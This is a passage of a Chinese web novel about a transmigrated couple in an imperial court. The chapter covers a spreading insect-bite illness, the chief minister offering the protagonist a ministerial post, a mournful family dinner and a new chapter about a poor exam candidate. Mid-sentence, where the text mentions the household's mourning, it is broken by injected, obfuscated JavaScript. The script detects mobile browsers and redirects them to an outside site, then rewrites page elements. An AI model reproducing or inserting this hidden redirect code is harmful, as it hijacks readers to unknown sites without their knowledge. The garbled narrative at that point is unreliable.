一起去杜府，这是张谦的好意，但现在几个官员私下聚在病家，难免被人扣上“结党”的帽子。前阵子的会试舞弊案刚过，犯官李司的人头，还挂在城楼上，谁都不想撞在枪口上。 游怜山回绝道，“还是不了。我写张问安帖，你帮忙带去吧。礼部和吏部的，这时候聚在一起，被人见了，要落口实。何况，杜尚书病重要静养，人多了吵，反倒不好。” 张谦后知后觉也点了头，一杯茶喝完又倒了一杯，“也是，你考虑得周全。那我替你把帖子交给杜公子，顺便帮你问候一二吧。” 游怜山起身拱手，“多谢张兄。礼部的事要处理，就先回去。” 他转身往门外走，刚到门槛，又停下脚步，回头道：“若是杜尚书有什么新情况，还请张兄尽快告诉我。” 张谦连忙应下，接着便低头，埋进了成堆的公文里。 出了吏部大门，游怜山没立刻回礼部。 他沿着街边走，心里有些慌，有些凉。赵立和杜尚书的病太蹊跷，偏都在殿试前发作，症状还一模一样，像是有人故意安排的。 还没吃午膳，游怜山的脚不自觉往街口的食肆走。 忙一上午，他肚子早就空了，也得找个地方歇口气，理理乱糟糟的思绪。 食肆里很热闹，伙计端着菜盘在堂间穿梭，吆喝声热情如火。 游怜山找个靠外的位置坐，招手叫伙计，却见有人喊他，“游侍郎！这边来！” 抬头一看，是工部尚书秦舒在斜对面的桌旁。 秦舒手里捏着筷子，面前摆着一碗没动的阳春面，对游怜山招着手。 等游怜山换过来一起坐，他也点一份简单的阳春面，再加一碗羊肉汤。 秦舒递给他筷子，“我刚还想着一会去礼部恭喜你，没想到这么巧，正好在这儿碰见了。” 伙计很快端来游怜山的面和羊肉汤，又给二人沏了热茶。 游怜山接过茶杯，掌心碰着温热，再喝一口汤，才觉心头的沉郁散了些。 “你怎么不太开心？恭喜啊，游余和游乘双双中了会元。” 秦舒端起茶和他一碰，笑道，“昨天我家九丫头还跟我念叨，说游乘真是厉害，连中五元，指日可待，家中夫人也撺掇我，让我跟你请教一下，怎么教孩子……” 游怜山笑着摆手，喝了口茶，“秦公过奖，孩子们自己肯用功，我没怎么管！对了，再过一个月，游乘殿试放榜，授了官，就是他和秦徐的婚期了。到时，还请秦公指点礼数，别让我和他母亲闹什么笑话！婚期呢，他祖母问过钦天监，就定在六月十六，说是宜嫁娶。” 秦舒甚为满意，看着面条，出了神，“日子好！六月，不冷不热，正合办婚事。想当初定亲，游乘还是个穿长衫的毛头小子，现在都要中进士了，时间过得真快。” 游怜山也有同感，算一算，他和离婚的妻子容芝来到这个世界，已有十六七年，却不过眨眼之间。 正想着，抬头对上秦舒的目光。 “你刚从吏部来？杜尚书的事，知道了吧？” 游怜山嗯了声，吃一口面，“张谦跟我说了，病得很重呢！和我们礼部的赵立一样，都是被虫咬了，还高热不退。前几日见杜尚书还好好的，朝堂上，他跟陛下议过河道修缮的事，怎么突然就病成这样？” “谁说不是。” 秦舒往旁边的街上看，熙熙攘攘的，他却压低声音，“我今早进宫面圣，听太医院院判说，怀疑杜尚书的病，和沈越将军有关。那个沈越，去年时从西南回京探亲，带了些当地的土产，一直没动，但这两天，市面上出现了一些西南的土产，接着，就出现了虫咬病……太医院怀疑，是土产里混了些不知名的虫，就是那些虫，咬了杜尚书和其他人。” 沈越？那是兵部尚书谢家的内弟。 因为西南的匪患，谢家一门子男丁都阵亡了，现在只剩兵部尚书谢岗和沈越还在苦苦支撑，但山匪却是越来越多，战事严峻。 前不久，游家二爷游怜泉，也就是游怜山的二弟，没有在家为亡妻周氏守丧，被父亲游仁泰上书奏请，要求游怜泉夺情，去西南出任剿匪巡抚，支援战事。 那之后，也是终于有些打胜仗的好消息回京。 但是，沈越一向忠心为国，怎么可能是他带回了西南的怪虫，引起京城恐慌的。 游怜山说：“可笑。把沈将军和杜尚书的病扯上关系，定是有人编排！” “太医也只是猜测，没实据。” 秦舒夹起菜叶，放进嘴里慢慢嚼着，“现在，不是查谁的责任，关键要找到治病的办法。杜尚书倒了，吏部的事乱成一锅粥，若是这病再传开，京城里人心惶惶，殿试能不能顺利办，都很难说。” “唉，我礼部的赵立，也是这症状。刚交了告假公文，要在家养一个月。” 游怜山也不想抱怨，但礼部本就人手紧张，一想到这些事，他用筷子拨着碗里的面条，刚才觉得饿到不行，现在完全没了胃口。 秦舒吃得快，先放了筷子，“殿试在即，你得多留意礼部的人，尤其是负责考场布置、接触贡士名册的，别出事啊。” “我知道。” 游怜山还没来得及回礼部衙门，“一会就让他们检查角落，去药铺买驱虫的草药，撒在院子和库房，希望能管用。” 两人又聊了几句，关于殿试的筹备和孩子们的婚事。 秦舒说自己一会要去杜府探望，会顺便再打听一下太医的诊断，有消息告诉游怜山。 游怜山匆匆扒了几口面条，喝完了汤，起身回礼部。 赵立的空缺，得找人填补，贡士的名册也得再核对一遍，容不得耽搁。 到礼部，正午已过。 刺眼的光洒在游怜山的案上，游怜山只好用屏风挡了挡。 他从窗口看出去，见一个眉清目秀的男子站在院中，失魂落魄似的。 游怜山认出，那是吏部杜尚书的长子杜明，忙走出去问道，“杜公子，你父亲的病怎样了？” 杜明目前在礼部供职，只是小小主事，做事仍是靠谱的。 此刻他父亲病重，杜明还坚持来衙门上值，多半是听命于他父亲。 杜明眼圈红红，见了游怜山，嗓音更为哽咽，“刚回家中看望，太医说……说父亲撑不过今晚了！”说着，差点站不稳要跪下去。 游怜山扶住他，旁边几个同僚来上前劝慰杜明。 杜明却只是摇头，落泪，伤心极了。 在生死面前，所有的安慰都显得苍白无力。 游怜山只能道，“杜公子多保重，有需要帮忙的地方，尽管开口。” 杜明点点头，颤声请示游怜山，可不可以回家守着他父亲，怕真出事要来不及见最后一面。 “自然，你快走吧！” 游怜山看着杜明离开衙门口，脚步沉重地往值房内走。 吏部杜尚书，若真走了，吏部必定乱，朝纲也要乱。 更别提那奇怪的虫咬病，找不到根治的办法，还不知会有多少人遭殃，引发多少风雨。 当即，游怜山召集了礼部的官员，开紧急会议。 他先说了一件事，主事赵立，因病告假一个月，所有事务由李主事接手，要确保贡士信息无误，有不清楚的，随时来问。 人群中的李主事道，“卑职领命。” 游怜山又看向其他人，说起最近京城出现一种怪虫，叮咬人后会导致高热不退、皮肤发痒，杜尚书和赵立主事都染上了这种病。 从今天起，所有人都要注意防范，每天检查住处和值房，若发现奇怪的虫，立刻上报。 衙门的库房和考场，每天用草药驱虫，不可半点马虎。 众人纷纷应下，脸上却都神色凝重。 游怜山宣布散会，官员陆续离开，院中只剩下他一个人。 在值房审阅公文，不知过了多久，天色暗下来。 差役进来点烛台，见他还在案前，轻声道，“侍郎大人，该下值了。您府上的丫鬟来传话，说今日会试放榜，家里准备了饭菜，让您早点回去。” 游怜山揉揉发胀的太阳穴，起身收拾好案上，拿起官帽，往外走。 夜幕中，游怜山走出礼部衙门，见外面仍然站着几个同僚，都是平日里和他关系不错的。 兵部郎中走上前，拱手道，“游侍郎，恭喜令郎高中会元。本来想着，请你喝几杯，可知道你家刚办了二房弟妹的丧事，也不好大肆庆贺，就只能在这儿，跟你再道一声喜。” 其他几人也说着恭喜的话。 游怜山一一回礼，语带感激，“多谢诸位，心意我领了。等过了丧期，我做东，邀约大家。” 众人这才陆续离开。 游怜山想着家中的父母和妻儿，往马车走去，刚要上车，听见身后传来喊声。 “镜水。” 李经章向这边走来，穿着一品大员的官袍，胸前绣着仙鹤。 他两鬓有了白发，在夜色中很显眼，脸上也有些疲惫，却依旧保持着内阁首辅的威严。 等到走近，李经章咳嗽两声，低声道，“刚下值？正好，有几句话想跟你说。” 游怜山面上保持着恭敬，“李首辅，请说。” 平日里在礼部衙门，李经章和游怜山只聊公务，从不闲谈。 这会子李经章主动找来，应是有什么目的。 周围还有几个没走的同僚，见李经章找游怜山，都识趣地加快了脚步，立刻没影。 礼部衙门外，只剩他们两人，风卷杏花，发出沙沙声。 李经章身子不太好了，站了不久，往身后的马车旁靠，“镜水，先贺你家两位公子双双摘得会元。这‘一门双星’的景致，京城里百年来头一遭，今早朝会之后，圣上叫去我们几个阁臣，特意提了，说你教儿有方，为朝堂育出栋梁。” 游怜山不敢信他的话，只道，“仰仗陛下恩典，也是孩子们自己肯用功，镜水却万万不敢当李大人‘教儿有方’的夸赞。” “应该要夸！” 这些场面话，李经章说得毫不费力。 接着，他话锋一转，往礼部衙门那边退了两步，扫了一眼空荡荡的街，确认没有人，才压低声音，“方才从吏部过来，听张侍郎说，杜尚书病得愈发重了，你去探望过吗？” “写了问安帖，让人午后送去了。” 游怜山抬眼看远处的街灯，昏黄的光影晃荡，把一切都遮掩在恍惚里，“眼下正是殿试筹备的要紧时候，官员私下聚在病家，难免落人‘结党’的口实，反倒给杜尚书添乱。” 李经章愣了下，而后轻轻点头，笑道，“镜水向来谨慎，这点在官场里是长处。但有时候，太过谨慎，反倒容易错失该抓的机会。” 游怜山感到心紧，微微躬身，故意把姿态放得更低，“请李首辅明示？下官愚钝，没参透您的意思。” 李经章往四周又扫了圈，见无人靠近，才用几乎听不见的声量说道，“我有些耳闻，不知真假？十多年前，你去工部任职时，曾经主持重建倒塌宫殿，那桩差事办得漂亮，九年考满评了‘称职’，当时，你跟秦舒提过，想调去吏部历练，熟悉选官流程。是不是有这事？” 游怜山的身子一缩，手指握紧。 那是十几年前的旧事，他刚从钦天监转去工部。 苦熬九年，他的考满结果很好，一次私下闲聊时，跟工部尚书秦舒，提过调任吏部的想法。 但是秦舒说，吏部水太深，吏部尚书与他年纪相仿，难以出头，劝他别去坐冷板凳。 之后游怜山便来了礼部，至今还是在礼部。 那一件没成的事，相当隐秘，除了游怜山和秦舒两人，不会有第三个人知晓。 游怜山强压下震惊，嗓音发沉，“首辅大人，消息灵通，连十几年前的陈年旧事，都能记得这么清楚。” “在京城里当差，消息不灵通可不行。” 李经章笑笑，却不达眼底，“听说当时，秦舒没少拦你，说吏部派系复杂，不适合你这种‘实心做事’的人，劝你换个别的衙门，然后，你就来了礼部。这……我没记错吧？” 游怜山垂着眼，又笑笑。 他能去礼部，可不是这么简单的事。 那次调任，隔着一桩和李经章有关的礼部科举案，几条被李经章谋害的言官人命。 而那些骇人的细节，都被眼前的李经章，轻描淡写地省掉了。 此时，李经章故意提这事，估计不是想刺激他对李家的怨恨。 只是想戳他当年的遗憾，这后面，必然还有更大的阴谋，等着他。 李经章见他不答，也不追问。 反倒提起了两家的姻亲关系，“你也不用这么防着我。好歹两家沾亲。” 什么，你三弟怜钊娶的是我女儿李襄。 什么，虽说怜钊走得急，可李襄守着寡没再嫁，生的游绵、游编，都是你游家的骨血。 什么，怜钊的事，我心里也不好受，私下里还让管家照看李襄母子，不让他们受委屈。 没让李襄母子受委屈？ 游怜山真的听笑了。 那时也不知是谁，得知儿子李谨必须离京避风头，甩手就给了李襄一耳光，差点让李襄难过得活不下去…… 还有家中三弟游怜钊。 就因为李经章搞出的“李襄和三殿下私通”的含糊事儿，游怜钊含恨离京，在外死得不明不白。 另外，二弟妹周氏，也是因为李家散布流言，导致顶不住压力而选择了死。 这些事表面看似不沾李经章的边。 明眼人却都知道是李家下的手。 现在李经章却来提什么“照看”，简直是当面嘲讽。 游怜山扯扯嘴角，冷道，“是镜水愚钝啊，还是没明白，您今日找我，到底想说什么？” “真是木鱼脑袋。” 李经章拍了下手，终于卸下伪装，直白起来，“吏部的杜乔羽，撑不了多久，太医今早跟我透了底，说他五脏都受了损，随时可能咽气。他那吏部尚书的位子，空出来是迟早的事。我打算在陛下面前推举你接任，你意下如何？” 游怜山猛地抬头，震惊至极。 脚步下意识后退，撞到身后衙门前的石狮子，“咚”的一声。 游怜山说，“您为何推举我？吏部尚书是‘天官’，掌管各地官员任免，多少人盯着这个位子，那些人里比我资历深、背景硬的，比比皆是，怎么轮得到我？” “为何不推举你？” 李经章往前踏一步，逼近游怜山，语带强势，“前些年，你坚持从工部转来礼部，不就是为了给两个儿子的科举铺路？现在游乘、游余都中了会元，殿试后就是进士，你的‘护犊计划’也该告一段落了。去吏部当尚书，比在礼部当侍郎重要得多，既能稳固你在游家的地位，也能为两个儿子以后的仕途铺路，你该清楚这分量。” 游怜山听着心里冷笑。 信你，会死得很惨吧。你推举我？你是只想把我当棋子，等用完了再像李司一样，把我一脚踢开。 前不久在科举舞弊案中落马的李司，是李经章的同乡，被他一手提拔到都察院副都御史的位子，最后还不是因为会试舞弊案，被他亲手推出去当替罪羊，判了死刑，全家流放。 游怜山的嘴上不能表露半分不满，笑嘻嘻道，“多谢李首辅抬举。这事太大了，关系到朝堂格局，下官需要好好想想。” “该想，但不能想太久。” 李经章抬手拍在游怜山的肩，带着压迫感，“杜乔羽的身子，说不定今晚就撑不住。你最好明早早朝前，给我答复，我好在陛下面前为你铺垫。晚了，这位子可就落别人手里了。” 游怜山点头应下，看着李经章转身走向马车。 那车夫掀开车帘，李经章弯腰上车时，还回头看了游怜山一眼，有着几分期，几分警告。 李家的马车消失在夜色里。 晚风吹起游怜山的袍角，他抬手揉揉发紧的太阳穴，转身登上自己的马车。 自己答应李经章今晚的提议，是跳进了设好的火坑。 不答应，又会得罪这位手握重权的内阁首辅，以后在礼部的日子是步步维艰。 马车启动，马鞭挥响，车外街景飞快后退。 游怜山靠在车壁上，闭着眼，脑子里全是李经章的未言明的警告。 回到司宁侯府，天完全黑定了。 大门外没挂红灯笼，门口的石狮蒙着一层灰白，透着冷清。 二房弟妹周氏，前月刚因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266661|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “虐庶”的流言而自尽，还在丧期，家里不能办庆贺宴。 游怜山下了马车，门房连忙迎上来，手里捧着灯笼，“大爷，老侯爷和老夫人在正院等着您用晚膳，说等您回来才开席。” 游怜山接过灯笼，径直往正院走。 穿过回廊，进了院门，听见正堂里传来低低的说话声。 父亲游仁泰坐在上首的椅子上，手捧着个暖炉，明明五月天，快入夏了。 母亲邓氏坐在一旁，一向少操心的她，如今眼尾有了些皱纹。 他长房的妻子容芝，和三弟妹李氏、四弟游怜柑、四弟妹白氏分坐在两侧。 几人面前的桌上摆着饭菜，清蒸鱼、炒青菜、豆腐汤，还有一盘酱肉，都是家常口味，没半点庆贺的样子。 儿子游乘和游余坐在下首，见游怜山进来，立刻起身行礼，“父亲。” 游怜山摆摆手，在容芝身边的空位坐下，把灯笼放在脚边，“坐，不多礼。让父母和大家等久，是我的不对。” 上首的游仁泰放下暖炉，拿起筷子，指指最中间的清蒸鱼，“乘儿、余儿，这鱼是你们祖母特意挑了，让厨房做的，你们多吃点。今日放榜，你们兄弟俩都是会元，祖父替你们高兴。” 一块鱼肉放进游乘碗里，游仁泰又夹了一块给游余。 游乘和游余道了谢，低头吃着。 游余吃了两口，直夸美味，看向游仁泰，清脆道，“孙儿能有今日，全靠祖父平日教导我们读书，父亲母亲督促我们练字，孙儿自己，是不敢居功的。” 游怜山听着这话，看着两个儿子，心里一阵恍惚。 长子游乘，是二弟游怜泉过继来的庶子，当年因为二弟妹周氏苛待，不得已为之。 再到前月，李司曝光周氏虐庶的事，为了避免影响，二弟不得不公开和游乘断绝父子关系。 至于游余，是游怜山的亲儿子。 如今却也被外面疯传，说游余是太子詹事升铭和妻子容芝的私生子。 明明两个孩子都很优秀，却要承受这么多流言蜚语。 游怜山想着，重重叹了口气。 这声叹气，瞬间打破了屋里的平和。 老夫人邓氏放下了筷子，眼圈先红了，手里的帕子攥得紧紧的。 “可怜你三弟怜钊！要是他还在，看到乘儿和余儿中了会元，定然高兴得喝上三大碗，满京城的找人庆贺。还有你二弟怜泉，远在西南任职，连乘儿中会元的消息都无法及时告诉他……从前他不好向长房过问游乘，只能找我问起游乘，还说格外相信游乘，只等着游乘高中的喜报……” 话没说完，邓氏就哭了起来，肩膀一抽一抽的。 三房的李氏，是三弟游怜钊的遗孀，坐在角落里，也跟着抹起了眼泪，哽咽道，“父亲母亲，怜钊要还在，咱们家才不会这么冷清……他最喜欢余儿，总说余儿的字有灵气，等来日余儿考中了进士，要送狼毫笔……” 四弟游怜柑，性子软。 见邓氏和李氏哭，他的眼圈也红了，放下筷子劝道，“母亲，三嫂，别难过。乘儿和余儿中了会元是好事，三弟在天有灵，也会高兴的。” 可他自己说着，声音也带上了哭腔。 四弟妹白氏递过帕子，自己也红了眼圈。 连带着游乘的三个妹妹，二房的游宜、四房的游雅、三房的游绵，都放下筷子，趴在桌上小声哭了起来。 原本该是庆贺的晚膳，顿时变成了哭丧。 桌上的菜没人动，只有此起彼伏的哭声。 游仁泰见状，皱起眉头，重重拍了下桌，声沉如雷，“一个个的，哭什么！乘儿和余儿中了会元，是咱们游家的荣耀！都别哭了，唉……散了！” 众人被游仁泰的气势吓住，忙止住了哭声，纷纷起身告退。 游怜山多看了一眼没动的饭菜，咽了咽口水，他跟在妻子容芝身后，刚要转身，却被游仁泰叫住。 “怜山，你留下。” 其他人都走了，屋里只剩下游仁泰和游怜山父子俩。 游仁泰重新拿起暖炉抱在怀里，“有人告诉我，你从礼部出来，被李经章拦住说了话？你们在衙门外，聊了很久。” 游怜山没隐瞒，如实道，“他跟儿子说，杜尚书快不行了，想推举我接任吏部尚书。” “瞎话连篇。” 游仁泰的手按在桌沿上，指节发白，“杜尚书还活着呢！他就敢这么盼着人死？李经章这老狐狸，没安好心！他推举你，肯定是想把你当棋子，等用完了就扔！” “儿子都知道。” 游怜山想起了李司的下场，心里一阵发冷，“从前李司对他那么忠诚，鞍前马后，最后还不是被他当弃子，判了死刑，全家流放。跟着他的人，没一个有好下场。我打算明早给李经章答复，拒绝他，不想跳这个火坑。” 游仁泰看着儿子，眼神复杂。 从前他总觉得游怜山太优秀，在官场里冒头太快，容易吃亏，所以事事打压，想让他走得更稳。当然，这些陈谷子里，也有他对李经章的顾忌。 可现在，儿子游怜山早就不是当年的愣头青，父子间的矛盾，也就慢慢解开了。 游仁泰抬手揉眉心，“你能想明白中间的厉害就好。你现在早过了三十而立，该有自己的主见。怎么决定，自己拿主意吧。我老了，帮不了你太多，也只能帮你守着司宁侯的空爵位了。” 游怜山愣了愣，在他印象中，父亲是第一次和他聊起爵位之事。 按理来讲，他是侯府的嫡长子，只要品行没有大问题，袭爵是自然的，也早该在成年之日，被父亲请示宫里，受他世子之名。但这件事，因为早年父子关系的恶劣，一直拖着没办。 到了此刻，游怜山自己的儿子都快要考中进士，倒一点也不期盼什么“侯府爵位”了。 游怜山只希望父亲别再像早年，不管他做什么决定都要反对，便已经很满足。 今日，父亲的口气这般诚恳，坦然…… 游怜山看着游仁泰鬓角的白发，“您怎么好像变了？从前我想离开钦天监，您还骂我，不知天高地厚。” 游仁泰的笑容里有许多的疲惫，“人要服老，我打不动你了嘛！还有李经章，他在一天，咱们游家一天要步步为营，能护住自己和孩子们就够了。” 一顿，游仁泰又说起最近京城里的怪病。 那怪虫咬人的病传得厉害，吏部杜尚书，礼部赵主事都染上了，高热不退，怪瘆人。 侯府的男人们没事早点回家，不得在外头瞎逛。 “尤其是乘儿和余儿，殿试前可不能出事，”游仁泰叮嘱连连。 游怜山应下，心头温暖，“您放心，我已跟衙门里交代，每天用草药驱虫，咱家里，我今晚也会去叮嘱。再过些日子，乘儿和余儿殿试，授了官，咱们游家会越来越好的。” 游仁泰打个哈欠，一挥手，“你也累了，回去歇着，明早还要早朝。” 游怜山起身告退，走出爹娘的正院大门，见容芝站在墙根下等他。 容芝捏着灯笼，灯光映着她的脸，柔和了平日里的冷漠，裙角轻飘，像茂盛的柳条。 “老爷子跟你说什么？”容芝迎上来，把灯笼递给他。 游怜山和她并肩往长房东园走，回廊下的杏花正开得旺，花瓣落在灯笼上，“问了李经章找我，想推举我做吏部尚书，我跟父亲说了，一定拒绝李经章。” 知道容芝对这个世界很了解，游怜山侧头看向她，“你怎么看？李经章这步棋，想干什么？” 容芝脚步一顿，伸手折下一支杏花，轻轻晃晃，“李经章那老狐狸，祸害了三弟，逼走了二弟，现在又想拉你下水！你要是答应，就是自投罗网，他嘛，肯定会用你牵制游家，等你没用了，就像李司一样，把你推出去背锅。” “我也这么想。” 游怜山把灯笼举高，照亮前面的回廊，“他无非是想拿从前父亲打压我的事，挑拨我们父子关系，让我跟游家离心，好方便他控制我。这点小伎俩，我还看不透？” 容芝斜了他一眼，手里的杏花递到了他面前，别在他的耳边，“你看事情这么透彻，应该只有一件事能困扰住你的。” 说着，拿过游怜山的灯笼，一个人往前走去。 游怜山取下耳边的杏花，跟着她追上去，故意笑道，“什么事啊？” 容芝仰起头，抿着嘴笑，而后，说道，“穿越到这儿十六七年，咱俩到底算什么关系？” 一波惊起万层浪。 游怜山不由脚步慢下来，他和容芝在现代是夫妻，因为他一心扑在工作上，忽略了家庭，最后二人离了婚。没想到一场意外，两人一起穿越进了书中，为了两个孩子，不得不假装恩爱，扮演一对和睦的夫妻。 这么多年过去，他以为容芝能看到他的改变，也一直没敢说什么。 他怕容芝还记恨现代的事，怕自己再次搞砸这段得来不易的关系。 “小芝。” 游怜山跑几步，拉住容芝的胳膊，灯笼光照在他脸上，让他眼底的认真更分明，“我想和你好好过，像真正的夫妻一样。不是为了孩子，是为了我们自己。我还想，每天早上醒来能看到你，想每天晚上和你一起吃饭，想跟你分享朝堂上的事，也想听你说家里的琐事。” 容芝看着他，嘴角轻扯，摇摇头继续往前走，“可我对你，没有想法了。” 怕再次陷入失望，怕再次经历心死，容芝没把握还能接受游怜山。 莫名的委屈涌上来，游怜山明白一切是他自找。 但他想故意逗逗容芝，加快脚步追上去，带着几分赌气，“行啊！既然你没想法，我就答应李经章！跟游家反目，站到他那边去！到时候，我当我的吏部尚书，你带着乘儿和余儿过你的日子，互不相干，多好！” 容芝一抬手，往游怜山脑门重重拍去，“你敢！你要是真这么做，你爹就是打断你的腿，也不会让你毁了游家！再说乘儿和余儿，他们视你为榜样，你跟李经章同流合污，他们这辈子都不会认你这个爹了！” 游怜山捂着脑门，却笑起来，“逗你的嘛，我怎么会做那种傻事。” 十多年相处下来，他知道容芝嘴硬心软，心里在乎他，嘴上不愿意承认。 容芝瞪他一眼，边走边嘟囔，“下次再敢说浑话，我告诉乘儿和余儿，让他俩收拾你。” 游怜山忙跟上，讨饶，“不敢了。” 回廊下的杏花盛放，淡淡香气。 到了东园门口，屋檐下的丫鬟迎上来，小心问道，“大爷，夫人，热水备好了，现在沐浴？” 游怜山看向容芝，又到了表演恩爱的环节，他带着几分试探，“一起？” 容芝没说话，绕过丫鬟，往里屋走。 进里屋，游怜山在屏风外坐下，听屏风后哗哗的水声，心里很踏实。 没一会，容芝湿着头发走出来，浑身带着润，她仍然没看游怜山，“该你了。” 游怜山应了声，去屏风后脱衣。 忽然，容芝清了清嗓子，“我放了床被子在你那儿，是新做的，比你之前的暖和。” 游怜山松开腰带，回道，“好。” 吹了蜡烛，各自躺下。 容芝睡床，游怜山还是在外间，中间隔着一道屏风，一张桌子。 夜很静，容芝的呼吸很浅，游怜山侧躺着，脑子里又出现了李经章的话，让他翻来覆去。 就在他快要睡着时，依稀听见容芝说，“其实，你也可以试试。” 游怜山睁开眼，转头看向容芝，虽然看不清她的脸，却能回味出她话语中的认真。 “试什么？答应李经章，去当吏部尚书？” “嗯。” 容芝的声音在黑暗里格外清晰，“演戏嘛。你不是最会演戏吗？在朝堂上应对那些老狐狸，你从来没输过。不入虎穴，焉得虎子？李经章手里肯定有不少秘密，比如三弟的死因，比如你父亲游仁泰当年帮李家换命的内因，你靠近他，说不定都能查到。” 游怜山直接坐了起身，“你不怕我真的跟游家反目？不怕我真的被李经章拉拢？” “你不会。” 容芝也坐起身，侧影映在屏风上，“如果是前一世，我还没把握，但这一辈子，你不一样了嘛。你心里装着游家，装着乘儿和余儿，不会让我们失望的。” 游怜山下了床，跨过屏风和桌子，来到容芝的床边，握住容芝的手，“好，我听你的。明天我就给李经章答复，答应他。” 容芝轻点头，“李经章老奸巨猾，你在他身边，要保护好自己，不能让自己陷入危险。” 游怜山用力握她的手，“有孩子们和你在，我不会让自己出事的。” 两人没再说话，游怜山没有为难容芝，重新去外间躺下。 第二日一早，游怜山去厨房拿了肉夹饼，匆匆离开侯府。 他赶到宫门外听旨，发现吏部的同僚一片肃静，有几个年轻的还在低头抹泪。 想来，是该发生的事已经发生了。 游怜山特意上前绕了一圈，打听了点吏部杜尚书的情况。 几个年轻人听见游怜山过问，顿时哭出了声，说杜尚书昨晚还是没撑住，人走了。 游怜山安慰大家节哀，又来到礼部这边，确实没有看见杜家的长子。 早朝上，皇帝提到吏部杜尚书，同样哀思难平。 李经章和几位阁臣一同上前，望皇帝保重身体。 等到散了朝，官吏们埋头走着。 游怜山也走在其中，却又在宫门口被李经章叫住。 “杜尚书今晨走了。”李经章虚伪道。 游怜山叹息，“可惜了杜尚书，为官清廉，没想到走得这么急。” “人死不能复生，还是想想眼前的事吧。” 李经章拉了一把游怜山，凑近道，“昨天跟你说的事考虑好了？要不要做吏部尚书？” 60. 私生流言，满城风云 五月中旬，逐渐加重的暑热，令人喘不过气。 河边柳树蔫头耷脑，街上往来的车马走得慢，车轮声却透出焦灼。 距离六月初五的殿试，只剩最后二十天。 江陵赶考的贡士，姜归，站在侯府长房东园的厢房门前，抬绣擦汗，面上浮现一点笑意。 他想起三日前放榜那天，还没天亮，他就揣着半块饼往礼部衙门跑，跑得满头大汗，也不觉得累。 他到衙门前，早已水泄不通，举子们踮脚，伸脖子，只想早点看到墙上的榜。结果，有人喜泣，有人当场瘫地，还有人在墙下不肯离去，反复确认，生怕看漏自己名字。 姜归挤在人后，身不壮，只能从缝隙往里瞅。 榜文自上而下，头名居然出现了两个名字，“游乘，顺天府；游余，顺天府”。 这并列的榜首让大家惊讶不已，姜归听人说到，却觉得平常，游乘和游余才学高明，高中是理所应当的。 姜归没心思凑这种热闹，趁机挤到前排，飞快往下扫，直到看见“姜归，江陵府”那些字，才猛地屏住呼吸，揉揉眼睛，确认没有看花眼。 自己反复看还不够，姜归一把抓住旁边举子的胳膊，颤声问，“兄台你看！第三名，是我！我中了！” 旁边的举子看榜单，又看了眼姜归，笑着点头，“恭喜恭喜！江陵姜兄，好本事！” 姜归咧着嘴笑，眼眶却热了。 他从江陵来京，带着哥哥卖牛凑的二十两银子，一路省吃俭用，住最便宜的柴房，啃最硬的麦饼，如今忍辱负重，闯过了会试。 可高兴劲儿没持续多久，他就犯了愁，因为到京时间晚，他的客栈太贵，硬生生撑到会试三场结束，却还是被客栈赶出来。 眼下，他借住在旧友游乘的家中，生活不必发愁，却不是长计。 不如随便捏个由头，说自己找到了一家便宜的客栈，从游家搬出来算了。 他要实在找不到住处，去破庙将就着，等到殿试结束，授了官，吃上了皇粮，日子定能慢慢好起来。 “姜兄！” 熟悉的声音从人群外传来。游乘挤开众人走过来，身上穿着素衫，领口袖口都没有绣纹，是侯府丧期的规制，“找你半天了，走，快随我回府！” 游乘是司宁侯府的长孙，正是之前救助姜归的旧友。 他两人四年前在江陵的水患中结识，后来游乘和游余回京，便断了联系，没想到这次会试竟在贡院门口重逢。那时游乘得知姜归的窘境，当即邀他去侯府借住，说府里空房多，正好一起等待会试放榜，也一起准备殿试。 此刻，姜归跟着游乘回到侯府。 回廊两旁的杏花花期将尽，却正是最艳丽的时候，不过因为侯府二房的丧期，整个侯府都浸在悲伤里，下人们走路都要放轻脚步。 “我娘在正堂等你，说是有东西要给你。”游乘拉着姜归走进长房东园，指着不远处。 姜归跟进去，见长房夫人容芝，也就是游乘的母亲，手里捧着一只木盒来。 容芝先恭喜姜归会试高中，便把木盒递到姜归面前，“打开看看？” 姜归掀开盒子，里面是一张叠得整齐的公文，隐约印出官府的朱红印。 他展开一看，原来是一张房契，地址在“内城东南隅，柳树巷三号”。 姜归狠狠一愣，忙把房契重新叠好，放回盒子里，“夫人，这……这是？” 容芝笑道，“还记得你去千家胡同留了信，要找一间合适大小的宅子么？我前日得到他家掌柜的口信，过去看过了，这柳树巷的宅子，十分合眼，是一位老先生回乡留的，我和掌柜一合计，怕错失机会，就抓紧帮你买了。” 姜归明白过来，点点头，又问，“夫人为我花了多少银子？” 容芝想了想，答道，“不多，三十两。你眼下要专心准备殿试，可咱们侯府还要守丧，多有不便。至于钱的事不急，等你日后入了仕，有了俸禄，再还也不迟。” 姜归喉咙发紧，攥着房契，眼眶慢慢含泪。 年初哥哥送他离乡，把卖牛的钱塞进他手里，拍着他的肩，“弟弟到了京城好好考，咱家能不能出头，就看你了。” 如今姜归中了会试，也有了小小的安身之所。 只是大哥还在江陵的乡下，他得尽快写信告知哥哥好消息。 “夫人恩情，姜归无以为报。”他对着容芝深深躬身。 容芝笑着扶起他，“都是国之大才，我可受不起！不必客气啦。那院子去年刚翻新过，门窗都换了新的，家具也齐整，你想的话，明天便可搬过去。地方离侯府不远，走路也就两刻钟，你和乘儿，日后往来也方便得很。” 隔天清晨，姜归起了床，他的行李不多，只有两个包袱。 一个装着旧书，书页翻得卷了边，另一个装着几件衣裳，大多是打了补丁的。 只有一件月白的夏衣，料子是乡里最好的细棉布，领口还绣着兰草纹。那是他嫂嫂连夜为他缝的，说等会试考中了，他穿着和同年考生庆贺，别让旁人笑话他。 姜归把包袱捆好，要出门的时候，见游乘牵来两匹马。 游乘抓起他的一个包袱甩到马背上，“走吧，我陪你过去，顺便绕路去看看阿权哥哥。” 姜归点头，游乘口中的阿权哥哥，是他们的恩人。 